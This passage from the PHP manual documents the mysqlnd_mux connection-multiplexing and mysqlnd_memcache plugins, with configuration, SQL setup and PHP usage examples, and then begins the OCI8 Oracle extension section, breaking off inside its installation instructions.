The mysqlnd connection multiplexing plugin is implemented as a PHP extension. It is written in C and operates under the hood of PHP. During the startup of the PHP interpreter, in the module initialization phase of the PHP engine, it gets registered as a mysqlnd plugin to replace specific mysqlnd C methods.

The mysqlnd library uses PHP streams to communicate with the MySQL server. PHP streams are accessed by the mysqlnd library through its net module. The mysqlnd connection multiplexing plugin proxies methods of the mysqlnd library net module to control opening and closing of network streams.

Upon opening a user connection to MySQL using the appropriate connection functions of either mysqli, PDO_MYSQL or ext/mysql, the plugin will search its connection pool for an open network connection. If the pool contains a network connection to the host specified by the connect function using the transport method requested (TCP/IP, Unix domain socket, Windows named pipe), the pooled connection is linked to the user handle. Otherwise, a new network connection is opened, put into the poolm and associated with the user connection handle. This way, multiple user handles can be linked to the same network connection.

User Contributed Notes

There are no user contributed notes for this page.


Connection pool

The plugins connection pool is created when PHP initializes its modules (MINIT) and free'd when PHP shuts down the modules (MSHUTDOWN). This is the same as for persistent MySQL connections.

Depending on the deployment model, the pool is used for the duration of one or multiple web requests. Network connections are bound to the lifespan of an operating system level process. If the PHP process serves multiple web requests as it is the case for Fast-CGI or threaded web server deployments, then the pooled connections can be reused over multiple connections. Because multiplexing means sharing connections, it can even happen with a threaded deployment that two threads or two distinct web requests are linked to one pooled network connections.

A pooled connection is explicitly closed once the last reference to it is released. An implicit close happens when PHP shuts down its modules.

User Contributed Notes

There are no user contributed notes for this page.


Sharing connections

The PHP mysqlnd connection multiplexing plugin changes the relationship between a users connection handle and the underlying MySQL connection. Without the plugin, every MySQL connection belongs to exactly one user connection at a time. The multiplexing plugin changes. A MySQL connection is shared among multiple user handles. There no one-to-one relation if using the plugin.

Sharing pooled connections has an impact on the connection state. State changing operations from multiple user handles pointing to one MySQL connection are not isolated from each other. If, for example, a session variable is set through one user connection handle, the session variable becomes visible to all other user handles that reference the same underlying MySQL connection.

This is similar in concept to connection state related phenomens described for the PHP mysqlnd replication and load balancing plugin. Please, check the PECL/mysqlnd_ms documentation for more details on the state of a connection.

The proof-of-concept takes no measures to isolate multiplexed connections from each other.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

PHP 5.5.0 or newer. Some advanced functionality requires PHP 5.5.0 or newer.

The mysqlnd_mux replication and load balancing plugin supports all PHP applications and all available PHP MySQL extensions (mysqli, mysql, PDO_MYSQL). The PHP MySQL extension must be configured to use mysqlnd in order to be able to use the mysqlnd_mux plugin for mysqlnd.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mysqlnd_mux

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mysqlnd_mux Configure Options
Name | Default | Changeable | Changelog
mysqlnd_mux.enable | 0 | PHP_INI_SYSTEM |

Here's a short explanation of the configuration directives.

mysqlnd_mux.enable integer

Enables or disables the plugin. If disabled, the extension will not plug into mysqlnd to proxy internal mysqlnd C API calls.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Other

The plugins version number can be obtained using MYSQLND_MUX_VERSION or MYSQLND_MUX_VERSION_ID. MYSQLND_MUX_VERSION is the string representation of the numerical version number MYSQLND_MUX_VERSION_ID, which is an integer such as 10000. Developers can calculate the version number as follows.

Version (part) | Example
Major*10000 | 1*10000 = 10000
Minor*100 | 0*100 = 0
Patch | 0 = 0
MYSQLND_MUX_VERSION_ID | 10000

MYSQLND_MUX_VERSION (string)
Plugin version string, for example, "1.0.0-prototype".
MYSQLND_MUX_VERSION_ID (integer)
Plugin version number, for example, 10000.

User Contributed Notes

There are no user contributed notes for this page.


Change History

Table of Contents

  • PECL/mysqlnd_mux 1.0 series

This change history is a high level summary of selected changes that may impact applications and/or break backwards compatibility.

See also the CHANGES file in the source distribution for a complete list of changes.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_mux 1.0 series

1.0.0-pre-alpha

  • Release date: no package released, initial check-in 09/2012
  • Motto/theme: Proof of concept

Initial check-in. Essentially a demo of the mysqlnd plugin API.

Note:

This is the current development series. All features are at an early stage. Changes may happen at any time without prior notice. Please, do not use this version in production environments.

The documentation may not reflect all changes yet.

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd Memcache plugin

  • Introduction
  • Quickstart and Examples
    • Setup
    • Usage
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
  • Predefined Constants
  • Mysqlnd_memcache Functions
    • mysqlnd_memcache_get_config — Returns information about the plugin configuration
    • mysqlnd_memcache_set — Associate a MySQL connection with a Memcache connection
  • Change History
    • PECL/mysqlnd_memcache 1.0 series

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The mysqlnd memcache plugin (mysqlnd_memcache) is an PHP extension for transparently translating SQL into requests for the MySQL InnoDB Memcached Daemon Plugin (server plugin). It includes experimental support for the MySQL Cluster Memcached Daemon. The server plugin provides access to data stored inside MySQL InnoDB (respectively MySQL Cluster NDB) tables using the Memcache protocol. This PHP extension, which supports all PHP MySQL extensions that use mysqlnd, will identify tables exported in this way and will translate specific SELECT queries into Memcache requests.

mysqlnd_memcache data flow

Note:

This plugin depends on the MySQL InnoDB Memcached Daemon Plugin. It is not provided to be used with a stand-alone Memcached. For a generic query cache using Memcached look at the mysqlnd query cache plugin. For direct Memcache access look at the memcache and memcached extensions.

The MySQL native driver for PHP is a C library that ships together with PHP as of PHP 5.3.0. It serves as a drop-in replacement for the MySQL Client Library (libmysqlclient). Using mysqlnd has several advantages: no extra downloads are required because it's bundled with PHP, it's under the PHP license, there is lower memory consumption in certain cases, and it contains new functionality such as asynchronous queries.

The mysqlnd_mmemcache operates, for the most part, transparently from a user perspective. The mysqlnd memcache plugin supports all PHP applications, and all MySQL PHP extensions. It does not change existing APIs. Therefore, it can easily be used with existing PHP applications.

The MySQL Memcache plugins add key-value style access method for data stored in InnoDB resp. NDB (MySQL Cluster) SQL tables through the Memcache protocol. This type of key-value access if often faster than using SQL.

Key Features

The key features of PECL/mysqlnd_memcache are as follows.

  • Possible performance benefits

    • Client-side: light-weight protocol.

    • Server-side: no SQL parsing, direct access to the storage.

    • Please, run your own benchmarks! Actual performance results are highly dependent on setup and hardware used.

Limitations

The initial version is not binary safe. Due to the way the MySQL Memcache plugins works there are restrictions related to separators.

Prepared statements and asynchronous queries are not supported. Result set meta data support is limited.

The mapping information for tables accessible via Memcache is not cached in the plugin between requests but fetched from the MySQL server each time a MySQL connection is associated with a Memcache connection. See mysqlnd_memcache_set() for details.

On the name

The shortcut mysqlnd_memcache stands for mysqlnd memcache plugin. Memcache refers to support of the MySQL Memcache plugins for InnoDB and NDB (MySQL Cluster). The plugin is not related to the Memcached cache server.

User Contributed Notes

There are no user contributed notes for this page.


Quickstart and Examples

Table of Contents

  • Setup
  • Usage

The mysqlnd memcache plugin is easy to use. This quickstart will demo typical use-cases, and provide practical advice on getting started.

It is strongly recommended to read the reference sections in addition to the quickstart. The quickstart tries to avoid discussing theoretical concepts and limitations. Instead, it will link to the reference sections. It is safe to begin with the quickstart. However, before using the plugin in mission critical environments we urge you to read additionally the background information from the reference sections.

User Contributed Notes

There are no user contributed notes for this page.


Setup

The plugin is implemented as a PHP extension. See also the installation instructions to install this extension.

Compile or configure the PHP MySQL extension (API) (mysqli, PDO_MYSQL, mysql). That extension must use the mysqlnd library as because mysqlnd_memcache is a plugin for the mysqlnd library. For additional information, refer to the mysqlnd_memcache installation instructions.

Then, load this extension into PHP and activate the plugin in the PHP configuration file using the PHP configuration directive named mysqlnd_memcache.enable.

Example #1 Enabling the plugin (php.ini)

; On Windows the filename is php_mysqnd_memcache.dll
; Load the extension
extension=mysqlnd_memcache.so
; Enable it
mysqlnd_memcache.enable=1

Follow the instructions given in the » MySQL Reference Manual on installing the Memcache plugins for the MySQL server. Activate the plugins and configure Memcache access for SQL tables.

The examples in this quickguide assume that the following table exists, and that Memcache is configured with access to it.

Example #2 SQL table used for the Quickstart

CREATE TABLE test(
  id CHAR(16),
  f1 VARCHAR(255),
  f2 VARCHAR(255),
  f3 VARCHAR(255),
  flags INT NOT NULL,
  cas_column INT,
  expire_time_column INT,
  PRIMARY KEY(id)
  ) ENGINE=InnoDB;

INSERT INTO test (id, f1, f2, f3) VALUES (1, 'Hello', 'World', '!');
INSERT INTO test (id, f1, f2, f3) VALUES (2, 'Lady', 'and', 'the tramp');

INSERT INTO innodb_memcache.containers(
  name, db_schema, db_table, key_columns, value_columns,
  flags, cas_column, expire_time_column, unique_idx_name_on_key)
VALUES (
  'plugin_test', 'test', 'test', 'id', 'f1,f2,f3',
  'flags', 'cas_column', 'expire_time_column', 'PRIMARY KEY');

User Contributed Notes

There are no user contributed notes for this page.


Usage

After associating a MySQL connection with a Memcache connection using mysqnd_memcache_set() the plugin attempts to transparently replace SQL SELECT statements by a memcache access. For that purpose the plugin monitors all SQL statements executed and tries to match the statement string against MYSQLND_MEMCACHE_DEFAULT_REGEXP. In case of a match, the mysqlnd memcache plugin checks whether the SELECT is accessing only columns of a mapped table and the WHERE clause is limited to a single key lookup.

In case of the example SQL table, the plugin will use the Memcache interface of the MySQL server to fetch results for a SQL query like SELECT f1, f2, f3 WHERE id = n.

Example #1 Basic example.

<?php
$mysqli = new mysqli("host", "user", "passwd", "database");
$memc = new Memcached();
$memc->addServer("host", 11211);
mysqlnd_memcache_set($mysqli, $memc);

/*
   This is a query which queries table test using id as key in the WHERE part
   and is accessing fields f1, f2 and f3. Therefore, mysqlnd_memcache
   will intercept it and route it via memcache.
*/
$result = $mysqli->query("SELECT f1, f2, f3 FROM test WHERE id = 1");
while ($row = $result->fetch_row()) {
    print_r($row);
}

/*
   This is a query which queries table test but using f1 in the WHERE clause.
   Therefore, mysqlnd_memcache can't intercept it. This will be executed
   using the MySQL protocol
*/
$mysqli->query("SELECT id FROM test WHERE f1 = 'Lady'");
while ($row = $result->fetch_row()) {
    print_r($row);
}
?>

The above example will output:

array(
    [f1] => Hello
    [f2] => World
    [f3] => !
)
array(
    [id] => 2
)

User Contributed Notes

There are no user contributed notes for this page.


Requirements

PHP: this extension requires PHP 5.4+, version PHP 5.4.4 or never. The required PHP extensions are PCRE (enabled by default), and the memcached extension version 2.0.x.

The mysqlnd_memcache Memcache plugin supports all PHP applications and all available PHP MySQL extensions (mysqli, mysql, PDO_MYSQL). The PHP MySQL extension must be configured with mysqlnd support.

For accessing InnoDB tables, this PHP extension requires MySQL Server 5.6.6 or newer with the InnoDB Memcache Daemon Plugin enabled.

For accessing MySQL Cluster NDB tables, this PHP extension requires MySQL Cluster 7.2 or newer with the NDB Memcache API nodes enabled.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mysqlnd_memcache

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mysqlnd_memcache Configure Options
Name | Default | Changeable | Changelog
mysqlnd_memcache.enable | 1 | PHP_INI_SYSTEM | Available since 1.0.0

Here's a short explanation of the configuration directives.

mysqlnd_memcache.enable integer

Enables or disables the plugin. If disabled, the extension will not plug into mysqlnd to proxy internal mysqlnd C API calls.

Note:

This option is mainly used by developers to build this extension statically into PHP. General users are encouraged to build this extension as a shared object, and to unload it completely when it is not needed.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MySQL Memcache Plugin related

MYSQLND_MEMCACHE_DEFAULT_REGEXP (string)
Default regular expression (PCRE style) used for matching SELECT statements that will be mapped into a MySQL Memcache Plugin access point, if possible. It is also possible to use mysqlnd_memcache_set(), but the default approach is using this regular expression for pattern matching.

Assorted

The version number of this plugin can be obtained by using MYSQLND_MEMCACHE_VERSION or MYSQLND_MEMCACHE_VERSION_ID. MYSQLND_MEMCACHE_VERSION is the string representation of the numerical version number MYSQLND_MEMCACHE_VERSION_ID, which is an integer such as 10000. Developers can calculate the version number as follows.

Version (part) | Example
Major*10000 | 1*10000 = 10000
Minor*100 | 0*100 = 0
Patch | 0 = 0
MYSQLND_MEMCACHE_VERSION_ID | 10000

MYSQLND_MEMCACHE_VERSION (string)
Plugin version string, for example, "1.0.0-alpha".
MYSQLND_MEMCACHE_VERSION_ID (integer)
Plugin version number, for example, 10000.

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd_memcache Functions

Table of Contents

  • mysqlnd_memcache_get_config — Returns information about the plugin configuration
  • mysqlnd_memcache_set — Associate a MySQL connection with a Memcache connection

User Contributed Notes

There are no user contributed notes for this page.


Returns information about the plugin configuration

  • « Mysqlnd_memcache Functions
  • mysqlnd_memcache_set »
  • PHP Manual
  • Mysqlnd_memcache Functions
  • Returns information about the plugin configuration

mysqlnd_memcache_get_config

(PECL mysqlnd_memcache >= 1.0.0)

mysqlnd_memcache_get_config — Returns information about the plugin configuration

Description

array mysqlnd_memcache_get_config ( mixed $connection )

This function returns an array of all mysqlnd_memcache related configuration information that is attached to the MySQL connection. This includes MySQL, the Memcache object provided via mysqlnd_memcache_set(), and the table mapping configuration that was automatically collected from the MySQL Server.

Parameters

connection

A handle to a MySQL Server using one of the MySQL API extensions for PHP, which are PDO_MYSQL, mysqli or ext/mysql.

Return Values

An array of mysqlnd_memcache configuration information on success, otherwise FALSE.

The returned array has these elements:

mysqlnd_memcache_get_config() array structure
Array Key | Description
memcached | Instance of Memcached associated to this MySQL connection by mysqlnd_memcache_set(). You can use this to change settings of the memcache connection, or directly by querying the server on this connection.
pattern | The PCRE regular expression used to match the SQL query sent to the server. Queries matching this pattern will be further analyzed to decide whether the query can be intercepted and sent via the memcache interface or whether the query is sent using the general MySQL protocol to the server. The pattern is either the default pattern (MYSQLND_MEMCACHE_DEFAULT_REGEXP) or it is set via mysqlnd_memcache_set().
mappings | An associative array with a list of all configured containers as they were discovered by this plugin. The key for these elements is the name of the container in the MySQL configuration. The value is described below. The contents of this field is created by querying the MySQL Server during association to MySQL and a memcache connection using mysqlnd_memcache_set().
mapping_query | An SQL query used during mysqlnd_memcache_set() to identify the available containers and mappings. The result of that query is provided in the mappings element.
Mapping entry structure
Array Key | Description
prefix | A prefix used while accessing data via memcache. With the MySQL InnoDB Memcache Deamon plugin, this usually begins with @@ and ends with a configurable separator. This prefix is placed in front of the key value while using the memcache protocol.
schema_name | Name of the schema (database) which contains the table being accessed.
table_name | Name of the table which contains the data accessible via memcache protocol.
id_field_name | Name of the database field (column) with the id used as key when accessing the table via memcache. Often this is the database field having a primary key.
separator The separator used to split the different field values. This is needed as memcache only provides access to a single value while MySQL can map multiple columns to this value.

Note:

The separator, which can be set in the MySQL Server configuration, should not be part of any value retrieved via memcache because proper mapping can't be guaranteed.

fields | An array with the name of all fields available for this mapping.

Examples

Example #1 mysqlnd_memcache_get_config() example

<?php
$mysqli = new mysqli("host", "user", "passwd", "database");
$memc = new Memcached();
$memc->addServer("host", 11211);
mysqlnd_memcache_set($mysqli, $memc);

var_dump(mysqlnd_memcache_get_config($mysqli));
?>

The above example will output:

array(4) {
  ["memcached"]=>
  object(Memcached)#2 (0) {
  }
  ["pattern"]=>
  string(125) "/^\s*SELECT\s*(.+?)\s*FROM\s*`?([a-z0-9_]+)`?\s*WHERE\s*`?([a-z0-9_]+)`?\s*=\s*(?(?=["'])["']([^"']*)["']|([0-9e\.]*))\s*$/is"
  ["mappings"]=>
  array(1) {
    ["mymem_test"]=>
    array(6) {
      ["prefix"]=>
      string(13) "@@mymem_test."
      ["schema_name"]=>
      string(4) "test"
      ["table_name"]=>
      string(10) "mymem_test"
      ["id_field_name"]=>
      string(2) "id"
      ["separator"]=>
      string(1) "|"
      ["fields"]=>
      array(3) {
        [0]=>
        string(2) "f1"
        [1]=>
        string(2) "f2"
        [2]=>
        string(2) "f3"
      }
    }
  }
  ["mapping_query"]=>
  string(209) "    SELECT c.name,
                          CONCAT('@@', c.name, (SELECT value FROM innodb_memcache.config_options WHERE name = 'table_map_delimiter')) AS key_prefix,
                          c.db_schema,
                          c.db_table,
                          c.key_columns,
                          c.value_columns,
                          (SELECT value FROM innodb_memcache.config_options WHERE name = 'separator') AS sep
                     FROM innodb_memcache.containers c"
}

See Also

  • mysqlnd_memcache_set() - Associate a MySQL connection with a Memcache connection

User Contributed Notes

There are no user contributed notes for this page.


Associate a MySQL connection with a Memcache connection

  • « mysqlnd_memcache_get_config
  • Change History »
  • PHP Manual
  • Mysqlnd_memcache Functions
  • Associate a MySQL connection with a Memcache connection

mysqlnd_memcache_set

(PECL mysqlnd_memcache >= 1.0.0)

mysqlnd_memcache_set — Associate a MySQL connection with a Memcache connection

Description

bool mysqlnd_memcache_set ( mixed $mysql_connection [, Memcached $memcache_connection [, string $pattern [, callback $callback ]]] )

Associate mysql_connection with memcache_connection using pattern as a PCRE regular expression, and callback as a notification callback or to unset the association of mysql_connection.

While associating a MySQL connection with a Memcache connection, this function will query the MySQL Server for its configuration. It will automatically detect whether the server is configured to use the InnoDB Memcache Daemon Plugin or MySQL Cluster NDB Memcache support. It will also query the server to automatically identify exported tables and other configuration options. The results of this automatic configuration can be retrieved using mysqlnd_memcache_get_config().

Parameters

mysql_connection

A handle to a MySQL Server using one of the MySQL API extensions for PHP, which are PDO_MYSQL, mysqli or ext/mysql.

memcache_connection

A Memcached instance with a connection to the MySQL Memcache Daemon plugin. If this parameter is omitted, then mysql_connection will be unassociated from any memcache connection. And if a previous association exists, then it will be replaced.

pattern

A regular expression in Perl Compatible Regular Expression syntax used to identify potential Memcache-queries. The query should have three sub patterns. The first subpattern contains the requested field list, the second the name of the ID column from the query and the third the requested value. If this parameter is omitted or os set to NULL, then a default pattern will be used.

callback

A callback which will be used whenever a query is being sent to MySQL. The callback will receive a single boolean parameter telling if a query was sent via Memcache.

Return Values

TRUE if the association or disassociation is successful, otherwise FALSE if there is an error.

Examples

Example #1 mysqlnd_memcache_set() example with var_dump() as a simple debugging callback.

<?php
$mysqli = new mysqli("host", "user", "passwd", "database");
$memc = new Memcached();
$memc->addServer("host", 11211);
mysqlnd_memcache_set($mysqli, $memc, NULL, 'var_dump');

/* This query will be intercepted and executed via Memcache protocol */
echo "Sending query for id via Memcache: ";
$mysqli->query("SELECT f1, f2, f3 FROM test WHERE id = 1");

/* f1 is not configured as valid key field, this won't be sent via Memcache */
echo "Sending query for f1 via Memcache: ";
$mysqli->query("SELECT id FROM test WHERE f1 = 1");

mysqlnd_memcache_set($mysqli);

/* Now the regular MySQL protocol will be used */
echo "var_dump won't be invoked: ";
$mysqli->query("SELECT f1, f2, f3 WHERE id = 1");

?>

The above example will output:

Sending query for id via Memcache: bool(true)
Sending query for f1 via Memcache: bool(false)
var_dump won't be invoked:

See Also

  • mysqlnd_memcache_get_config() - Returns information about the plugin configuration

User Contributed Notes

There are no user contributed notes for this page.


Change History

Table of Contents

  • PECL/mysqlnd_memcache 1.0 series

This change history is a high level summary of selected changes that may impact applications and/or break backwards compatibility.

See also the CHANGES file in the source distribution for a complete list of changes.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_memcache 1.0 series

1.0.0-alpha

  • Release date: TBD
  • Motto/theme: Basic mapping of SQL SELECT to a MySQL Memcache plugin access.

The initial release does map basic SQL SELECT statements to a MySQL Memcache plugin access. This bares potential performance benefits as the direct key-value access to MySQL storage using the Memcache protocol is usually faster than using SQL access.

User Contributed Notes

There are no user contributed notes for this page.


Oracle OCI8

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Testing
    • Runtime Configuration
  • Predefined Constants
  • Examples
  • OCI8 Connection Handling and Connection Pooling
  • OCI8 Fast Application Notification (FAN) Support
  • OCI8 and DTrace Dynamic Tracing
  • Supported Datatypes
  • OCI8 Functions
    • oci_bind_array_by_name — Binds a PHP array to an Oracle PL/SQL array parameter
    • oci_bind_by_name — Binds a PHP variable to an Oracle placeholder
    • oci_cancel — Cancels reading from cursor
    • oci_client_version — Returns the Oracle client library version
    • oci_close — Closes an Oracle connection
    • oci_commit — Commits the outstanding database transaction
    • oci_connect — Connect to an Oracle database
    • oci_define_by_name — Associates a PHP variable with a column for query fetches
    • oci_error — Returns the last error found
    • oci_execute — Executes a statement
    • oci_fetch_all — Fetches multiple rows from a query into a two-dimensional array
    • oci_fetch_array — Returns the next row from a query as an associative or numeric array
    • oci_fetch_assoc — Returns the next row from a query as an associative array
    • oci_fetch_object — Returns the next row from a query as an object
    • oci_fetch_row — Returns the next row from a query as a numeric array
    • oci_fetch — Fetches the next row from a query into internal buffers
    • oci_field_is_null — Checks if a field in the currently fetched row is NULL
    • oci_field_name — Returns the name of a field from the statement
    • oci_field_precision — Tell the precision of a field
    • oci_field_scale — Tell the scale of the field
    • oci_field_size — Returns field's size
    • oci_field_type_raw — Tell the raw Oracle data type of the field
    • oci_field_type — Returns a field's data type name
    • oci_free_descriptor — Frees a descriptor
    • oci_free_statement — Frees all resources associated with statement or cursor
    • oci_get_implicit_resultset — Returns the next child statement resource from a parent statement resource that has Oracle Database 12c Implicit Result Sets
    • oci_internal_debug — Enables or disables internal debug output
    • oci_lob_copy — Copies large object
    • oci_lob_is_equal — Compares two LOB/FILE locators for equality
    • oci_new_collection — Allocates new collection object
    • oci_new_connect — Connect to the Oracle server using a unique connection
    • oci_new_cursor — Allocates and returns a new cursor (statement handle)
    • oci_new_descriptor — Initializes a new empty LOB or FILE descriptor
    • oci_num_fields — Returns the number of result columns in a statement
    • oci_num_rows — Returns number of rows affected during statement execution
    • oci_parse — Prepares an Oracle statement for execution
    • oci_password_change — Changes password of Oracle's user
    • oci_pconnect — Connect to an Oracle database using a persistent connection
    • oci_result — Returns field's value from the fetched row
    • oci_rollback — Rolls back the outstanding database transaction
    • oci_server_version — Returns the Oracle Database version
    • oci_set_action — Sets the action name
    • oci_set_client_identifier — Sets the client identifier
    • oci_set_client_info — Sets the client information
    • oci_set_edition — Sets the database edition
    • oci_set_module_name — Sets the module name
    • oci_set_prefetch — Sets number of rows to be prefetched by queries
    • oci_statement_type — Returns the type of a statement
  • OCI-Collection — The OCI-Collection class
    • OCI-Collection::append — Appends element to the collection
    • OCI-Collection::assign — Assigns a value to the collection from another existing collection
    • OCI-Collection::assignElem — Assigns a value to the element of the collection
    • OCI-Collection::free — Frees the resources associated with the collection object
    • OCI-Collection::getElem — Returns value of the element
    • OCI-Collection::max — Returns the maximum number of elements in the collection
    • OCI-Collection::size — Returns size of the collection
    • OCI-Collection::trim — Trims elements from the end of the collection
  • OCI-Lob — The OCI-Lob class
    • OCI-Lob::append — Appends data from the large object to another large object
    • OCI-Lob::close — Closes LOB descriptor
    • OCI-Lob::eof — Tests for end-of-file on a large object's descriptor
    • OCI-Lob::erase — Erases a specified portion of the internal LOB data
    • OCI-Lob::export — Exports LOB's contents to a file
    • OCI-Lob::flush — Flushes/writes buffer of the LOB to the server
    • OCI-Lob::free — Frees resources associated with the LOB descriptor
    • OCI-Lob::getBuffering — Returns current state of buffering for the large object
    • OCI-Lob::import — Imports file data to the LOB
    • OCI-Lob::load — Returns large object's contents
    • OCI-Lob::read — Reads part of the large object
    • OCI-Lob::rewind — Moves the internal pointer to the beginning of the large object
    • OCI-Lob::save — Saves data to the large object
    • OCI-Lob::saveFile — Alias of OCI-Lob::import
    • OCI-Lob::seek — Sets the internal pointer of the large object
    • OCI-Lob::setBuffering — Changes current state of buffering for the large object
    • OCI-Lob::size — Returns size of large object
    • OCI-Lob::tell — Returns the current position of internal pointer of large object
    • OCI-Lob::truncate — Truncates large object
    • OCI-Lob::write — Writes data to the large object
    • OCI-Lob::writeTemporary — Writes a temporary large object
    • OCI-Lob::writeToFile — Alias of OCI-Lob::export
  • OCI8 Obsolete Aliases and Functions
    • ocibindbyname — Alias of oci_bind_by_name
    • ocicancel — Alias of oci_cancel
    • ocicloselob — Alias of OCI-Lob::close
    • ocicollappend — Alias of OCI-Collection::append
    • ocicollassign — Alias of OCI-Collection::assign
    • ocicollassignelem — Alias of OCI-Collection::assignElem
    • ocicollgetelem — Alias of OCI-Collection::getElem
    • ocicollmax — Alias of OCI-Collection::max
    • ocicollsize — Alias of OCI-Collection::size
    • ocicolltrim — Alias of OCI-Collection::trim
    • ocicolumnisnull — Alias of oci_field_is_null
    • ocicolumnname — Alias of oci_field_name
    • ocicolumnprecision — Alias of oci_field_precision
    • ocicolumnscale — Alias of oci_field_scale
    • ocicolumnsize — Alias of oci_field_size
    • ocicolumntype — Alias of oci_field_type
    • ocicolumntyperaw — Alias of oci_field_type_raw
    • ocicommit — Alias of oci_commit
    • ocidefinebyname — Alias of oci_define_by_name
    • ocierror — Alias of oci_error
    • ociexecute — Alias of oci_execute
    • ocifetch — Alias of oci_fetch
    • ocifetchinto — Obsolete variant of oci_fetch_array, oci_fetch_object, oci_fetch_assoc and oci_fetch_row
    • ocifetchstatement — Alias of oci_fetch_all
    • ocifreecollection — Alias of OCI-Collection::free
    • ocifreecursor — Alias of oci_free_statement
    • ocifreedesc — Alias of OCI-Lob::free
    • ocifreestatement — Alias of oci_free_statement
    • ociinternaldebug — Alias of oci_internal_debug
    • ociloadlob — Alias of OCI-Lob::load
    • ocilogoff — Alias of oci_close
    • ocilogon — Alias of oci_connect
    • ocinewcollection — Alias of oci_new_collection
    • ocinewcursor — Alias of oci_new_cursor
    • ocinewdescriptor — Alias of oci_new_descriptor
    • ocinlogon — Alias of oci_new_connect
    • ocinumcols — Alias of oci_num_fields
    • ociparse — Alias of oci_parse
    • ociplogon — Alias of oci_pconnect
    • ociresult — Alias of oci_result
    • ocirollback — Alias of oci_rollback
    • ocirowcount — Alias of oci_num_rows
    • ocisavelob — Alias of OCI-Lob::save
    • ocisavelobfile — Alias of OCI-Lob::import
    • ociserverversion — Alias of oci_server_version
    • ocisetprefetch — Alias of oci_set_prefetch
    • ocistatementtype — Alias of oci_statement_type
    • ociwritelobtofile — Alias of OCI-Lob::export
    • ociwritetemporarylob — Alias of OCI-Lob::writeTemporary

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions allow you to access Oracle Database 12c, 11g, 10g, 9i and 8i. They support SQL and PL/SQL statements. Basic features include transaction control, binding of PHP variables to Oracle placeholders, and support for large object (LOB) types and collections. Oracle's scalability features such as Database Resident Connection Pooling (DRCP) and result caching are also supported.

User Contributed Notes

christopher dot jones at oracle dot com 17-Jun-2007 06:25
There are several good books on PHP and Oracle available - search your favorite bookstore.  There is also a free book from Oracle "The Underground PHP and Oracle Manual" that covers the OCI8 extension:
http://www.oracle.com/technetwork/topics/php/underground-php-oracle-manual-098250.html
(free registration for OTN required, IIRC). Disclaimer: I'm one of its authors.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Testing
  • Runtime Configuration

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The OCI8 1.4 extension is included with PHP 5.3, PHP 5.4 and PHP 5.5. It is also available from » PECL. A newer OCI8 2.0 version is available only from » PECL. OCI8 1.4 requires Oracle 12c, 11g, 10g or 9iR2 client libraries and will install on PHP 4.3.9 onwards. OCI8 2.0 requires Oracle 12c, 11g or 10g client libraries and will install on PHP 5.2 onwards.

If the Oracle Database is on the same machine as PHP, the database software already contains the necessary libraries. When PHP is on a different machine, use the free » Oracle Instant Client libraries.

To use Oracle Instant Client, install the basic or basiclite Oracle Instant Client ZIP file or RPM package. When building PHP from source code, also install the sdk ZIP file or devel RPM package.

You must run PHP with the same, or a more recent, version of the Oracle libraries that OCI8 was built with.

On Windows, the php_oci8 DLL needs Oracle client libraries from version 10gR2 or greater. In PHP 5.3 up to and including PHP 5.3.5, the php_oci8_11g DLL requires Oracle 11gR1 or greater client libraries. From PHP 5.3.6 the php_oci8_11g DLL requires Oracle 11gR2 or greater client libraries. The php_oci8_12c DLL from PECL requires Oracle 12cR1 client libraries. With some versions of Instant Client you may additionally need mfc71.dll and msvcr71.dll libraries.

Note:

If OCI8 uses 9iR2 client libraries, then PHP can connect to Oracle Database 8i, 9iR2, 10g or 11g. If OCI8 uses 10gR2 client libraries, the database can be 9iR2, 10g, 11g or 12c. If OCI8 uses 11g client libraries, the database can be 9iR2, 10g, 11g or 12c. If OCI8 uses 12c client libraries, the database can be 10gR2, 11g or 12c.

Note:

Full OCI8 feature support is only available when using the most recent versions of the Oracle client libraries and database.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Configuring PHP with OCI8

Review the previous Requirements section before configuring OCI8.

To enable the OCI8 extension, configure PHP with the option --with-oci8 .

Before starting the web server, OCI8 typically requires several Oracle environment variables (see below) to locate libraries, point to configuration files, and set some basic properties such as the character set used by Oracle libraries. The variables must be set before any PHP process starts.

The PHP binary must link with the same, or more recent, major version of Oracle libraries as it was configured with. For example, if you build OCI8 with Oracle 11.2 libraries, then PHP should also be deployed and run with Oracle 11.2 libraries. PHP applications can connect to other versions of Oracle Database, since Oracle has client-server cross-version compatibility.

Installing OCI8 as a Shared Extension

The configuration shared option builds OCI8 as a shared library that can be dynamically loaded into PHP. Building a shared extension allows OCI8 to be upgraded easily without impacting the rest of PHP.

Configure OCI8 using one of the following configure options.

  • If using the free » Oracle Instant Client libraries, then do:

    ./configure --with-oci8=shared,instantclient,/path/to/instant/client/lib

    If Instant Client is installed from ZIP files, make sure to create the library symbolic link first, for example ln -s libclntsh.so.12.1 libclntsh.so.

    If using an RPM-based installation of Oracle Instant Client, the configure line will look like this:

